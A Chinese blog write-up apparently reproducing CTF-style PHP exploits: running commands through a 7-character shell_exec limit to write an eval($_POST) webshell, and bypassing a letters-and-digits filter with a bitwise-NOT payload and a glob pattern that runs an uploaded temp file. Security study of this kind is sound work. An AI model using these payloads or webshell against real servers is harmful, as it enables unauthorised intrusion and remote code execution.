有意思的漏洞复现与分析一

目录

一、Linux命令长度限制突破方法

[1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。](#1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。)


一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。

复制代码
<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  
    echo shell_exec($param);
}

这个的难点就是该怎么把执行语句缩短到7个字符,很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。

了解该函数的使用方法,再结合Linux系统下的一些特性。

1.w 长度最短的命令

2.ls -t 以创建时间来列出当前目录下所有文件

3.文件列表以[换行符]分割每个文件 引入 `\` 转义ls时的换行

1.换行不影响命令执行 成功构造任意命令执行,写入Webshell

前辈就想到了在Linux下可以使用w>+字符串在w下创建文件,但是在后续学习其实可以直接>+字符串。

直接执行一句话木马,再通过ants work连接

复制代码
<?php eval($_POST[9]);

再通过上文了解到shell_exec的用法 输出以字符串的形式,所以是不是需要想通过base64编码再通过解码输出呢,通过工具。

那就开始写入吧"echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==| base64 -d> c.php"总结这一句就是我们所需要的执行语句。

可以看到我们写入成功,再一次写入,最后写入ls -t>0,sh 0(通过查看资料)

很明显生成了c.php文件,文件内容如下,接下来我们使用蚁🗡连接

访问c.php回显正常。

蚁🗡连接成功,原方法使用$_GET传参连不上,改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参,我现在还不清楚什么原因。

二 、无字母数字webshell之命令执行

这个代码如果要getshell,怎样利用?
当然,这道题的限制:
webshell长度不超过35位
除了不包含字母数字,还不能包含$_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。
复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

PHP7 下简单解决问题

查看官方文档

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

复制代码
(~%8F%97%8F%96%91%99%90)();

基于现在的系统PHP5也需要思考:

通过测试php5没有这个用法,操作系统里包含的最重要的两个功能就是"shell(系统命令)"和"文件系统",很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互,"反引号"就是PHP中最简单的执行shell的方法,想到就是用''+shell执行命令。

因为反引号不属于"字母"、"数字",所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本

  2. Linux文件名支持用glob通配符代替

第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符

?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符;

描述

glob是shell使用的路径匹配符,类似于正则表达式,但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大,其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径,于是顺便整理一下glob的基础语法和使用。

glob通配符

语法和使用

*:匹配一个路径部分中0个或多个字符,注意不匹配以.开始的路径,如文件.a。

?:匹配一个字符。

...\]:匹配一系列字符,如\[abc\]匹配字符a, b, c,在\[\^...\]和\[!...\]表示匹配不在列表中的字符,如**\[\^abc\]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配** \*\*:匹配0个或多个子文件夹。 {a,b}:匹配a或则b,a和b也是通配符,可以由其他通配符组成。 !:排除文件,如!a.js表示排除文件a.js。 更多相关语法可参考node-glob。 所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示"大写字母"的glob通配符,就能精准找到我们要执行的文件。 翻开ascii码表,可见大写字母位于`@`与`[`之间,那么,我们可以利用`[@-[]`来表示大写字母。 当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了,最后一个字符也可能是数字。 最后,我传入的code为?>,发送数据包如下: ![](https://i-blog.csdnimg.cn/direct/dd786051ee844904819fe8a9ca6b751d.png) 上传命令执行的文件,就可以执行命令了。

相关推荐
小陈工16 分钟前
Python Web开发入门(十二):使用Flask-RESTful构建API——让后端开发更优雅
开发语言·前端·python·安全·oracle·flask·restful
Echo-J25 分钟前
WinDbg 双机调试(调试机为Windows11系统,被调试机为Windows7系统)
安全·网络安全·云计算·系统安全
南湖北漠26 分钟前
记录生活中的一件小事(佚名整理)
网络·人工智能·计算机网络·其他·安全·生活
多年小白37 分钟前
OpenAI 发布 DALL-E 4:4K分辨率+视频生成,AI图像创作进入新阶段
网络·人工智能·科技·深度学习·计算机视觉
攻城狮在此44 分钟前
华三框式交换机IRF堆叠配置四(LACP MAD检测)
网络·架构
qZ6bgMe431 小时前
使用Mixin类简单重构配置模块
网络·python·重构
攻城狮在此1 小时前
华三交换机如何从IRF模式恢复到独立运行模式配置
网络·架构
Strange_Head1 小时前
《Linux系统编程篇》Linux Socket 网络编程03(Linux 进程间通信(IPC))——基础篇
linux·网络·单片机
Strange_Head1 小时前
《Linux系统网络协议》从 TCP 到 HTTP:理解 Web 通信的第一步——网络篇
linux·网络·网络协议
@insist1231 小时前
网络工程师-广域网与接入网技术(一):核心协议与流量控制
开发语言·网络·网络工程师·软考·软件水平考试